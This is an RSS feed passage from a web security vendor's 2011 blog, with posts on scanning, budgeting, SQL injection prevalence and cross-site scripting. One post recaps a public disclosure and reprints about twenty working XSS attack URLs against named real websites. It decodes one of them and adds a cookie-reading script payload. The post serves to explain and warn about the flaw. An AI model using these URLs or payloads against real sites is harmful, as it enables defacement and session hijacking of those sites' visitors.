			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/10/security_scan1.jpg"><img class="alignleft size-medium wp-image-4463" title="Security Scan" src="http://www.acunetix.com/blog/wp-content/uploads/2011/10/security_scan1-208x300.jpg" alt="" width="125" height="180" /></a>Recently a client of mine sent over the results of a web vulnerability scan that one of their customers had run against their production web environment. My client was curious why the results of this third-party scan were different from my findings just a few weeks prior using the same <a title="web vulnerability scanner" href="http://www.acunetix.com/vulnerability-scanner/">web vulnerability scanner</a>.</p>
<p>Looking at this new vulnerability scan report, it became clear we were comparing apples to oranges. First off, this third-party used a more limited scan policy. Ironically, the policy I used tested for <em>everything</em> yet found fewer issues. Your scan policy choice alone can dramatically impact the outcome of your <a title="Web Security Audit" href="http://www.acunetix.com/security-audit/">web security audit</a>. But that’s not all that can impact the results of your tests. A few more considerations I shared with my client were:<br />
<span id="more-4387"></span></p>
<ul>
<li>What’s being looked at: the actual production application or an ad-hoc test environment? The other scan was against this third-party’s unique production system that’s part of a multi-tenanted cloud application. I had looked at a lab environment setup specifically for my assessment which had <span style="text-decoration: underline;">zero</span> customization. A follow-up assessment of their production environment found nothing new. The key difference here was not the application environment itself (although that could’ve made a difference). Instead it was the customization of the application that’s taking place for each customer.</li>
<li>What credentials were used for the third-party test? What&#8217;s different about those user permissions compared to what I was given?</li>
<li>How was the application’s security policy configured during the third-party scan? How is that different than what I looked at?</li>
<li>The third-party’s Web vulnerability scanner version was several weeks newer than what I originally used. New builds, new vulnerability checks and updated policies had since come out.</li>
</ul>
<p>Some additional things that can affect what’s uncovered are your scanner’s crawler depth and timeout settings, HTTP request handling, parameter exclusions and even<a title="FAQ: Should I scan a website through a web application firewall?" href="http://www.acunetix.com/blog/web-security-zone/articles/scan-website-web-application-firewall/"> firewall or IPS controls that affect production differently than a test environment</a>. It may seem like a no-brainer and it probably should be but once you start throwing in all of these variables you may very well get different results.</p>
<p>Moving forward you can dig down further and uncover the not-so-obvious gotchas. Just be careful because certain (often many) scanner findings are false positives or don&#8217;t really matter in the grand scheme of things in the context of your business. As I advised my client, unless this third-party is manually validating every single finding, a person running a vulnerability scanner is not nearly as detailed a test as what’s involved in a more in-depth <a title="Web Applications" href="http://www.acunetix.com/websitesecurity/web-applications.htm">web application</a> assessment so be careful what you commit to fixing.</p>
<p>The important thing is to ensure you’re looking at all possible areas of your applications from all possible angles and doing so on a periodic and consistent basis. You’re not going to get it figured out the first scan, or maybe even your fiftieth scan. Just strive to tweak your environment (be it production or test) and customize your scanner to provide greatest insight so you can find the most vulnerabilities in the shortest period of time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/not-all-web-scans-are-equal/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>VIDEO: How Cross-Site Scripting (XSS) Works</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/video-how-cross-site-scripting-xss-works/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/video-how-cross-site-scripting-xss-works/#comments</comments>
		<pubDate>Wed, 12 Oct 2011 14:30:11 +0000</pubDate>
		<dc:creator>Robert Abela</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[cross site scripting]]></category>
		<category><![CDATA[how to hack]]></category>
		<category><![CDATA[web security]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4372</guid>
		<description><![CDATA[XSS vulnerabilities (Cross-Site Scripting vulnerabilities) are often overshadowed by their big cousin, the infamous SQL Injection. This does not make them any less effective or deadly. XSS and SQL Injection attacks are similar in the ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4412" title="How Cross-Site Scripting XSS Works" src="http://www.acunetix.com/blog/wp-content/uploads/2011/10/xss-150x150.jpg" alt="" width="150" height="150" />XSS vulnerabilities (<a title="Cross-site scripting" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">Cross-Site Scripting vulnerabilities</a>) are often overshadowed by their big cousin, the infamous SQL Injection. This does not make them any less effective or deadly. XSS and <a title="SQL Injection" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection</a> attacks are similar in the way they inject malicious code. The difference is that an SQL attack, injects code into the target database whereas an XSS attack injects code into the target browser. In an XSS attack the hacker uses your website to inject code into your visitor’s browser.</p>
<p><span id="more-4372"></span>Once a user is infected, the malicious code can do a variety of things. It can change the color scheme of the page the user is viewing. It can do more nasty things such as replacing images with pornographic content. Using the same techniques, links on the page may be re-written to point to malicious locations. Sometimes clicks can also be forced, simulating user action without his knowledge. Another popular XSS attack reads out the user’s cookie and transmits it to the hacker. This allows him to impersonate the user and hijack his session. If the user happens to be the system administrator, the hacker can take over the entire website.</p>
<p>In this video tutorial I demonstrate what an <a title="Preventing XSS Attacks" href="http://www.acunetix.com/blog/web-security-zone/articles/preventing-xss-attacks/">XSS attack</a> is to show you how a hacker can use XSS vulnerabilities to hack into your website. I start the video by explaining the mechanisms of cross site scripting, and I proceed to demonstrate a number of pranks you can play on unsuspecting users. I also demonstrate how cookies can be stolen to hijack sessions and I take a peek into the vulnerable code that allows such attacks. I hope that this video will both entertaining and educational, and that by learning about XSS you can keep your own website safer.</p>
<p><center><iframe src="http://www.youtube.com/embed/i38LMZyKIqI" frameborder="0" width="560" height="315"></iframe></center></p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/video-how-cross-site-scripting-xss-works/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Improving Web Security by Working With What You’ve Got</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/improving-web-security/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/improving-web-security/#comments</comments>
		<pubDate>Wed, 05 Oct 2011 14:30:55 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[kevin beaver]]></category>
		<category><![CDATA[proactive security]]></category>
		<category><![CDATA[security budget]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4121</guid>
		<description><![CDATA[As I wrote about in a previous post, we’re in the era of cutting back – if not completely eliminating – all non-essential expenditures. The thing is what may seem to be non-essential to management ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4403" title="Improve Web Security" src="http://www.acunetix.com/blog/wp-content/uploads/2011/10/improve-web-security-150x150.jpg" alt="" width="150" height="150" />As I wrote about <a title="“Time to market” no longer the web application security excuse" href="http://www.acunetix.com/blog/web-security-zone/articles/web-development-security-risk/">in a previous post</a>, we’re in the era of cutting back – if not completely eliminating – all non-essential expenditures. The thing is what may seem to be non-essential to management <em>may actually be </em>essential to the business. There could just be a disconnect &#8212; or communication breakdown &#8212; between you, your team, and the managers ultimately making the decisions. Politics and opinions aside, you have to think creatively about how you can make small improvements in <a title="Web application security with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Web application security</a> across numerous areas of the business if you&#8217;re going to move your Web security program forward.</p>
<p><span id="more-4121"></span>How can you do this? You need to prove that you’re thoughtful and careful about money and that the decisions you’re making regarding <a title="Properly Scoping your Web Security Assessments" href="http://www.acunetix.com/blog/web-security-zone/articles/properly-scoping-web-security-assessments/">Web security</a> are in the best interests of the business. You <em>can</em> be frugal and show management that you’re willing and able to cut back, deal with what you’ve got and find ways to make things work better that may have been overlooked the past. For example, one thing I see quite often is network administrators and security managers not taking advantage of Web security controls they already have at their disposal, such as:</p>
<ul>
<li>URL sanitizers and input filters built into Web server platform(s)</li>
<li>Event logging, monitoring and alerting capabilities built into server operating systems</li>
<li>Web application firewall capabilities built into traditional perimeter firewalls</li>
<li>Identity and access management controls embedded directly into the Web applications</li>
</ul>
<p>When it comes to tightening our belts and improving Web security we have to get creative. I’ve learned this in my motorsports hobby. Like so many others believe, my earlier inclination was to spend a ton of money adding more horsepower to my car so I could lower my lap times. I soon learned that spending money on the issue wasn’t the solution.</p>
<p>Instead, I started focusing on what I already had on my car and, most importantly, in my mind. I soon realized that my car wasn’t the problem but rather my lack of hand-foot-eye coordination and the barriers I had in my head of what a car <em>should</em> be capable of doing. By focusing inward, in less than a year I had drastically lowered my lap times to levels equivalent to spending thousands of dollars on more horsepower. It was hard work but I didn’t have to spend a dime in order to get a whole lot better.</p>
<p>Think about all the areas where you can improve Web security in and around your business. From existing technologies to business process tweaks to your people and even your own skillset. There’s likely a lot of room for growth. The great thing is, if you take the initiative and make things happen, you won’t have to ask management for a single dollar.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/improving-web-security/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Explaining the “why” of Web application security</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/why-webapp-security/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/why-webapp-security/#comments</comments>
		<pubDate>Thu, 29 Sep 2011 14:30:42 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[application security]]></category>
		<category><![CDATA[business justification]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4137</guid>
		<description><![CDATA[Looking at the bigger picture of application security it seems that no one else really hears us. Sure, product managers, marketing, legal, HR and even certain people in management say they understand what’s at stake. ...]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/09/security.jpg"><img class="alignleft size-thumbnail wp-image-4380" title="Web Security" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/security-150x150.jpg" alt="" width="150" height="150" /></a>Looking at the bigger picture of application security it seems that no one else really hears us. Sure, product managers, marketing, legal, HR and even certain people in management say they understand what’s at stake. But are they really on board?</p>
<p>Business leaders have learned that they must teach, train and develop their employees. Otherwise, they can’t expect people to perform at their highest levels. The same goes for us working in and around IT and <a title="Web application security with Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Web application security</a>. We can try to be high and mighty telling people the sky is falling because our Web applications aren’t secure. We can tell people all day – every day – that they can’t do this, that or the other – all in the name of Web security. But we have to be realistic and ask: how’s that working for us?</p>
<p>Skipping formal teaching, training, and development, and instead forcing Web security on other people doesn’t work all that well. It’s like trying force a religion or political ideology on others and expecting them to just say “Okay, whatever you say.” People and politics just don’t work that way. In fact, many people couldn’t care less about Web application security. Just because something is important to us doesn’t mean it is (or has to be) important to everyone else. Combine the forced messages with ego – something most of us working in IT have struggled with (and need to get over) – and you’ve got a recipe for application security mediocrity.<br />
<span id="more-4137"></span><br />
Rather than spouting <strong>no, no, no</strong> in a one-way binary fashion without any explanation of where we’re coming from, we need to outline <em>why</em> we’re saying what we’re saying. <em>Why</em> we’re recommending that we need to tighten down on application security controls. <em>Why</em> we’re recommending we spend money on making the development lifecycle better. <em>Why</em> application security matters to the business as a whole.</p>
<p>It&#8217;s like continually telling a child not to do something. It just doesn&#8217;t work long term. We have to explain <em>why</em>.</p>
<p>We must communicate the <em>value</em> of application security. This means showing that gaining control and visibility into our Web environments is better than the alternative. It also means demonstrating – where it’s reasonable – how Web application security can serve as a competitive differentiator and most definitely impacts the bottom line. But it’s not going to happen unless and until we help push the message forward clearly and respectfully and show its value in the context of our businesses. We’re often Web application security’s worst enemy and we need to come up with ways to fix that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/why-webapp-security/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>SQL Injection &#8211; The Web Flaw That Keeps on Giving</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-prevalent-hack/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-prevalent-hack/#comments</comments>
		<pubDate>Thu, 22 Sep 2011 14:25:30 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[barracuda networks]]></category>
		<category><![CDATA[business hacked]]></category>
		<category><![CDATA[expedia]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4296</guid>
		<description><![CDATA[It’s hard to believe, but SQL injection as we know it has been around for 13 years. Yet, SQL injection is as prevalent as ever as highlighted in The 2011 Mid-Year Top Cyber Security Risks ...]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-thumbnail wp-image-4367" title="SQL Injection" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/sql-150x150.jpg" alt="" width="150" height="150" />It’s hard to believe, but <a title="SQL Injection vulnerability" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL injection</a> as we know it <a href="http://www.readwriteweb.com/hack/2011/09/a-brief-history-of-sql-injecti.php" target="_blank">has been around for 13 years</a>. Yet, SQL injection is as prevalent as ever as highlighted in <a href="http://www.hpenterprisesecurity.com/collateral/report/CyberSecurityRisksReport.pdf" target="_blank"><em>The 2011 Mid-Year Top Cyber Security Risks Report</em></a>.</p>
<p>Back in the dot-com era of 1998-99, you may recall that Internet security was all about firewalls and SSL. Interesting (and sadly), that’s still the case in so many situations. The mantra is <em>lock down the perimeter and everything will be fine.</em> It&#8217;s an interesting study in human psychology. Like seatbelts, cigarettes and poor diet, the elephant is in the room; yet so many people choose to ignore the consequences. Ditto with <a title="Acunetix: SQL Injection tutorial" href="http://www.acunetix.com/blog/web-security-zone/articles/video-sql-injection-tutorial/">SQL injection</a>. We know what’s hurting us yet we don’t do anything about it. Case in point, the 2011 Ponemon Institute <em>State of Web Application Security </em>survey found that 69% of organizations rely on firewalls to secure web applications. I’m not surprised based on what I see in my work, but <strong>wow</strong>! Not much has changed in nearly a decade and a half.</p>
<p>Just in the past year, we’ve seen numerous high-profile <a title="MySQL.com Victim of SQL Injection Attack" href="http://www.acunetix.com/blog/web-security-zone/articles/mysql-com-victim-of-sql-injection/">SQL injection</a> attacks against businesses such as Barracuda Networks, Expedia and HBGary. If it’s happening to these businesses, we can only imagine how bad the SQL injection problem is with smaller or less risk-savvy organizations!</p>
<p>Interestingly, I just completed a Web security assessment of an application that <em>used</em> to have SQL injection. The issue was originally fixed but has since returned. Talk about regression at its worst. Granted, authentication in to the application was required to access the vulnerable pages but the problem is still there for exploitation by a malicious user or an attacker who has stolen someone else’s login credentials. Making the problem more complex was the fact that SQL injection only existed when logged-in with certain user roles. SQL injection wasn’t exploitable at every level simply because the pages weren’t accessible to those users.</p>
<p>Let this be a reminder that SQL injection is out there. It&#8217;s in your in-house applications as well as in your commercial off the shelf and cloud applications. And sensitive data is there for the taking. Traditional security controls like firewalls, SSL, passwords and the like aren’t going to help. You have to step back and look at the bigger picture. Are you performing the right tests? Are you checking all possible user role levels to see which users have access to what? Are you checking back periodically to make sure old flaws haven’t returned or new ones haven’t surface? Are you developers on board? Are you asking the right questions of your vendors? You’ll never really know unless and until you dig in deeper.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/web-security-zone/articles/sql-injection-prevalent-hack/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Full Disclosure &#8211; 20 high profile sites vulnerable to XSS attacks</title>
		<link>http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/</link>
		<comments>http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/#comments</comments>
		<pubDate>Mon, 12 Sep 2011 14:02:15 +0000</pubDate>
		<dc:creator>Jeremy Pullicino</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[news]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[cross-site scripting vulnerability]]></category>
		<category><![CDATA[full disclosure]]></category>
		<category><![CDATA[high profile websites vulnerable]]></category>
		<category><![CDATA[mcdonalds cross-site scripting]]></category>
		<category><![CDATA[web security]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=4179</guid>
		<description><![CDATA[
On Thursday morning a post appeared on the popular Full Disclosure Internet discussion group listing XSS vulnerabilities in no less than 20 high profile websites. Amongst the vulnerable are McDonalds, IEEE Explore, Harvard University, and ...]]></description>
			<content:encoded><![CDATA[<div>
<p><strong>On Thursday morning a post appeared on the popular Full Disclosure Internet discussion group listing XSS vulnerabilities in no less than 20 high profile websites. Amongst the vulnerable are McDonalds, IEEE Explore, Harvard University, and energy.gov. The vulnerabilities were discovered by a hacker who goes by the handle *Invectus*.</strong></p>
<h2>Is an XSS Vulnerability a big deal?</h2>
<p><span class="Apple-style-span" style="font-size: 13px; font-weight: normal;">XSS vulnerabilities (<a title="What is Cross-site scripting?" href="http://www.acunetix.com/websitesecurity/cross-site-scripting.htm">Cross-Site Scripting vulnerabilities</a>) are often overshadowed by their big cousin, the infamous SQL Injection. This does not make them any less effective or deadly. XSS and <a title="What is SQL Injection vulnerability?" href="http://www.acunetix.com/websitesecurity/sql-injection.htm">SQL Injection</a> attacks are similar in the way they inject malicious code. The difference is that an SQL attack, injects code into the target database whereas an XSS attack injects code into the target browser. In an XSS attack the hacker uses your website to inject code into your visitor’s browser.</span></p>
<p><span id="more-4179"></span></p>
<p>Once a user is infected, the malicious code can do a variety of things. It can change the color scheme of the page the user is viewing. It can do more nasty things such as replacing images with pornographic content. Using the same techniques, links on the page may be re-written to point to malicious locations. Sometimes clicks can also be forced, simulating user action without his knowledge. Another popoular XSS attack reads out the user’s cookie and transmits it to the hacker. This allows him to impersonate the user and hijack his session. If the user happens to be the system administrator, the hacker can take over the entire website.</p>
<h2>How to: XSS McDonalds</h2>
<p>Below is the entire list of websites that were disclosed as vulnerable. At first glance the list is long and cryptic, but with some basic hacker techniques we can soon make some sense out of them.</p>
<blockquote>
<pre>http://video.state.gov/en/search/img-srchttp-i55tin
ypiccom-witu7dpng-height650-width1000/Ij48aW1nIHNyY
z0iaHR0cDovL2k1NS50aW55cGljLmNvbS93aXR1N2QucG5nIiBo
ZWlnaHQ9IjY1MCIgd2lkdGg9IjEwMDAiPg%3D%3D

http://www.telegraph.co.uk/search/?queryText=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%2
2%20height=%22650%22%20width=%221000%22%3E

http://www.dsm.com/en_US/cworld/public/home/pages/s

earchResults.jsp?search-site=%22%3E%3Cimg+src%3D%22
http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height
%3D%22650%22+width%3D%221000%22%3E&amp;noMimimumKeyword
s=false

http://www.schools.nsw.edu.au/psearch/ext/?refine=n

ew&amp;QueryText=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55
.tinypic.com%2Fwitu7d.png%22+height%3D%22650%22+wid
th%3D%221000%22%3E&amp;Go.x=29&amp;Go.y=25&amp;Go=submit

http://thetablet.co.uk/search.php?q=%22%3E%3Cimg%20

src=%22http://i55.tinypic.com/witu7d.png%22%20heigh
t=%22650%22%20width=%221000%22%3E

http://www.scstatehouse.gov/cgi-bin/query.exe?firs

t=FIRST&amp;querytext=&amp;category=%22%3E%3Cimg%20src=%22

http://i55.tinypic.com/witu7d.png%22%20height=%226

50%22%20width=%221000%22%3E

http://www.highered.tafensw.edu.au/vsearch/tafehig

heredu/?QueryText=%22%3E%3Cimg%20src=%22http://i55
.tinypic.com/witu7d.png%22%20height=%22650%22%20wi
dth=%221000%22%3E

http://www.mcdonalds.com/content/us/en/search/sear

ch_results.html?queryText=%22%3E%3Cimg%20src=%22ht
tp://i55.tinypic.com/witu7d.png%22%20height=%22650
%22%20width=%221000%22%3E

http://www.watersportholland.nl/cgi-bin/watersport

holland/zoeken.cgi?search=Vera&amp;query=%22%3E%3Cimg+
src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png
%22+height%3D%22650%22+width%3D%221000%22%3E

http://www.gpo.gov/fdsys/search/searchresults.acti

on?st=%22%3E%3Cimg%20src=%22http://i55.tinypic.com
/witu7d.png%22%20height=%22650%22%20width=%221000%
22%3E

http://www.networkcomputing.com/sitesearch?sort=pu

blishDate+desc&amp;queryText=%22%3E%3Cimg+src%3D%22htt
p%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png%22+height%3
D%22650%22+width%3D%221000%22%3E

http://www.unc.edu/search/index.htm?q=%22%3E%3Cimg

+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.pn
g%22+height%3D%22650%22+width%3D%221000%22%3E&amp;cx=0
14532668884084418890%3Ajyc_iub1byy&amp;cof=FORID%3A10&amp;
ie=UTF-8&amp;hq=inurl%3Adevnet.unc.edu

http://cugir.mannlib.cornell.edu/search?querytext=

%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7
d.png%22%20height=%22650%22%20width=%221000%22%3E

http://ieeexplore.ieee.org./search/freesearchresul

t.jsp?newsearch=true&amp;queryText=.QT.%3E%3Cimg+src.E
Q..QT.http%3A%2F%2Fi55.tinypic.com%2Fwitu7d.png.QT
.+height.EQ..QT.650.QT.+width.EQ..QT.1000.QT.%3E&amp;x
=58&amp;y=13

http://vivo-vis.cns.iu.edu/vivo1/search?querytext=

%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com
%2Fwitu7d.png%22+height%3D%22650%22+width%3D%22100
0%22%3E

http://google.nyu.edu/search?site=NYUWeb_Main&#038;clie

nt=NYUWeb_Main&amp;output=xml_no_dtd&amp;proxyreload=1&amp;pro
xystylesheet=stern_frontend&amp;sitesearch=www.stern.n
yu.edu&amp;q=%22%3E%3Cimg+src%3D%22http%3A%2F%2Fi55.ti
nypic.com%2Fwitu7d.png%22+height%3D%22650%22+width
%3D%221000%22%3E&amp;x=8&amp;y=6

http://ofa.fas.harvard.edu/cal/search.php?q=%22%3E

%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%
22%20height=%22650%22%20width=%221000%22%3E

http://www.uidaho.edu/search?q=%22%3E%3Cscript%3EI

nvectus%3C/script%3E&amp;cof=FORID:9&amp;cref=http://www.u
idaho.edu/search?xml=1&amp;ticks=634508915004972966

https://vivo.ufl.edu/search?flag1=1&#038;querytext=%22%

3E%3Cimg+src%3D%22http%3A%2F%2Fi55.tinypic.com%2Fw
itu7d.png%22+height%3D%22650%22+width%3D%221000%22
%3E

http://energy.gov/search/site/%22%3E%3Cimg%20src%3

D%22http%3A//i55.tinypic.com/witu7d.png%22%20heigh
t%3D%22650%22%20width%3D%221000%22%3E</pre>
<p>&nbsp;</p></blockquote>
<p><span class="Apple-style-span" style="font-size: 20px; font-weight: bold;">Understanding XSS</span></p>
<p>I will take the www.mcdonalds.com vulnerability to help explain XSS in more detail.</p>
<p>The raw XSS attack is repeated below:</p>
<blockquote><p>http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22http://i55.tiny</p>
<p>pic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E</p></blockquote>
<h2><span class="Apple-style-span" style="font-size: 13px; font-weight: normal;">The first thing we will do is seperate the URL from the query. We split at the first question mark (?) and get two parts:</span></h2>
<p><strong>1. URL Part:</strong></p>
<blockquote><p>http://www.mcdonalds.com/content/us/en/search/search_results.html</p></blockquote>
<p><strong>2. Query Part</strong></p>
<blockquote><p>queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20</p>
<p>height=%22650%22%20width=%221000%22%3E</p></blockquote>
<p>The URL part identifies the vulnerable file on the server. In this case the vulnerabilitie lies within the search functionality of the site, a very common attack vector for both SQL Injections and XSS attacks.</p>
<p>The Query Part is the actual attack code. You will notice lots of % symbols. These are called URL Encoders and are difficult to read without the right tools. I use the <a title="Acunetix HTTP Editor advanced penetration testing tool" href="http://www.acunetix.com/blog/docs/http-editor/">Acunetix HTTP Editor tool</a> that is bundled with Acunetix WVS to decode URL Endoded Query Parts.</p>
<p style="text-align: center;"><a href="http://www.acunetix.com/blog/wp-content/uploads/2011/09/decodertool.png"><img class="size-full wp-image-4191 aligncenter" title="Acunetix HTTP Editor decoder and encoder tool" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/decodertool.png" alt="" width="546" height="169" /></a></p>
<p>The human-readable Query Part now looks like this:</p>
<blockquote><p>queryText=&#8221;&gt;&lt;img src=&#8221;http://i55.tinypic.com/witu7d.png&#8221; height=&#8221;650&#8243; width=&#8221;1000&#8243;&gt;</p></blockquote>
<p>This script is hardly malicious. It injects the image of a flag into the McDonalds web page. I tested it out assuming that McDonalds would have fixed this security flaw immediately, and I was surprised to find that the vulnerabilitiy is still there.</p>
<p style="text-align: center;"><img class="size-full wp-image-4194 aligncenter" title="Mcdonalds.com hacked with XSS" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/mcdonalds.png" alt="" width="512" height="355" /></p>
<p>This attack is pretty innoctuous as it is, however a crafty hacker will most likely manage to inject other malicious, such as the code below, which displays the user’s cookie:</p>
<blockquote><p>&lt;IMG SRC=javascript:alert(&#8216;You cookie is this:&#8217; + document.cookie)&gt;</p></blockquote>
<p>I decided to check other websites to see if they patched their sites after the disclosure was announced. You find my results in the next sections.</p>
<h2>Winners and Losers</h2>
<p>I categorised the orignial list into the Winners &#8211; those who fixed the vulnerabilitiy within 24 hours of it’s diclosure, and the Losers &#8211; those who left the secuirty flaw there for everyone to exploit. Within the next few days hackers will be having a field day with the Losers especially those like IEEE Explore who serve paid content from their site.</p>
<p><strong>Winners &#8211; Vulnerability is fixed:</strong></p>
<ul>
<li>Harvard University</li>
<li>US Department of State</li>
<li>Energy.gov</li>
<li>The Telegraph UK</li>
<li>University of North Carolina</li>
<li>Cornell University</li>
<li>University of Idaho</li>
</ul>
<p><strong>Losers &#8211; Website is still vulnerable:</strong></p>
<ul>
<li>McDonalds</li>
</ul>
<ul>
<li><strong>US Government Printing Office</strong></li>
</ul>
<div><img class="alignnone size-full wp-image-4198 aligncenter" title="US Government printing office official website vulnerable for XSS" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/usprinting.png" alt="" width="549" height="406" /></div>
<div>
<ul>
<li>TAFE Higher Education</li>
</ul>
<ul>
<li>Watersportholland.nl</li>
</ul>
</div>
<ul>
<li><strong>IEEE Explore</strong></li>
</ul>
<div><img class="size-full wp-image-4193 aligncenter" title="IEEE Explore website Cross-site scripting vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/ieee.png" alt="" width="562" height="537" /></div>
<ul>
<li>DSM</li>
</ul>
<ul>
<li>South California Legislature</li>
</ul>
<ul>
<li><strong>Networkcomputing.com</strong></li>
</ul>
<div><img class="size-full wp-image-4195 aligncenter" title="Networkcomputing.com vulnerable to Cross-site scripting vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/networkcomputing.png" alt="" width="562" height="439" /></div>
<ul>
<li>VIVO</li>
</ul>
<ul>
<li>NYU Stern</li>
</ul>
<ul>
<li>The Tablet UK</li>
</ul>
<ul>
<li><strong>NSW Public Schools</strong></li>
</ul>
<div><img class="size-full wp-image-4196 aligncenter" title="NSW Public Schools website vulnerable to XSS vulnerability" src="http://www.acunetix.com/blog/wp-content/uploads/2011/09/nsw.png" alt="" width="499" height="266" /></div>
<h2>How to be a Winner</h2>
<p><span class="Apple-style-span" style="font-size: 13px; font-weight: normal;">It is very probable that the hacker used automated tools to scan these web sites and automatically discover vulnerabilities. The injection code for each page is slightly different so the hacker must have tweaked around with each site to make his injection successful.</span></p>
<p>If you want to stay one step ahead you will need to use similar tools that the hacker uses. The most common one is a <a title="Acunetix Web Vulnerability Scanner" href="http://www.acunetix.com/vulnerability-scanner/">Web Vulnerability Scanner</a> that supports automatic XSS detection. You will need to scan your website periodically to ensure that updates to the site do not expose new flaws.</p>
<h2>Final Thoughts</h2>
<p>In this case our hacker single handedly defaced 20 big web sites using XSS. The companies were lucky because the hacker did not have any malicious intent other than exposing them. The danger is what will come next; now that this list is in the wild the black-hats of the hacker community will pounce at every exposed vulnerability that is not patched.</p>
<p>If your website is on the list above you’d better do something about it now. If you want to make sure that your site never appears on such a list make regular scans and code reviews to fix any XSS vulnerabilities you may find.</p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>&#8220;Time to market&#8221; no longer the security excuse</title>
		<link>http://www.acunetix.com/blog/web-security-zone/articles/web-development-security-risk/</link>
		<comments>http://www.acunetix.com/blog/web-security-zone/articles/web-development-security-risk/#comments</comments>
		<pubDate>Fri, 09 Sep 2011 14:17:28 +0000</pubDate>
		<dc:creator>Kevin Beaver</dc:creator>
				<category><![CDATA[articles]]></category>
		<category><![CDATA[web security zone]]></category>
		<category><![CDATA[management]]></category>
		<category><![CDATA[SDLC]]></category>
		<category><![CDATA[web application security]]></category>
		<category><![CDATA[web application security testing]]></category>

		<guid isPermaLink="false">http://www.acunetix.com/blog/?p=3896</guid>
		<description><![CDATA[If you’ve heard it once you’ve probably heard it a thousand times: time to market is critical. Indeed, when it comes to software development, many business executives, marketers, product managers and sales weasels live and ...]]></description>
